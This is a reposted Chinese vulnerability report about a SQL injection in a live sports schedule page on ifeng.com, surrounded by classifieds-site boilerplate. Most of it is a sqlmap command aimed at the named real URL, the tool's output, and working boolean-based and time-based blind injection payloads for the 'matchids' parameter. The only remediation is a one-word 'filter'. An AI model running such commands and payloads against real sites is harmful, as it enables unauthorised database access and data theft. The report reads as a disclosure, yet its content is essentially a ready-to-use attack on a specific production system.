您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息

凤凰网体育直播间一处SQL注入_MySQL

2025/3/12 13:38:33发布21次查看
凤凰网体育直播间一处sql注入
sqlmap.py -u http://live.sports.ifeng.com/sports/schedule.php?format=js&matchids=“ 过滤不严导致注入。
g:/python/sqlmap>sqlmap.py -u http://live.sports.ifeng.com/sports/schedule.php?
format=js&matchids=
sqlmap/1.0-dev - automatic sql injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. it is the end user's responsibility to obey all applicable
local, state and federal laws. developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 00:48:09
[00:48:09] [warning] using 'c:/documents and settings/mm/.sqlmap/output' as the
output directory
[00:48:09] [info] resuming back-end dbms 'mysql'
[00:48:09] [info] testing connection to the target url
sqlmap got a 302 redirect to 'http://www.ifeng.com'. do you want to follow? [y/n
] y
[00:48:14] [info] heuristics detected web page charset 'iso-8859-2'
sqlmap identified the following injection points with a total of 0 http(s) reque
sts:
---
place: get
parameter: matchids
type: boolean-based blind
title: or boolean-based blind - where or having clause (mysql comment)
payload: format=js&matchids=-5547 or (5410=5410)#
type: and/or time-based blind
title: mysql > 5.0.11 or time-based blind
payload: format=js&matchids=-5830 or 5843=sleep(5)
---
[00:48:20] [info] the back-end dbms is mysql
web application technology: nginx
back-end dbms: mysql 5.0.11
sqlmap.py -u http://live.sports.ifeng.com/sports/schedule.php?format=js&matchids=“
place: get
parameter: matchids
type: boolean-based blind
title: or boolean-based blind - where or having clause (mysql comment)
payload: format=js&matchids=-5547 or (5410=5410)#
type: and/or time-based blind
title: mysql > 5.0.11 or time-based blind
payload: format=js&matchids=-5830 or 5843=sleep(5)
---
修复方案:过滤。
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录 Product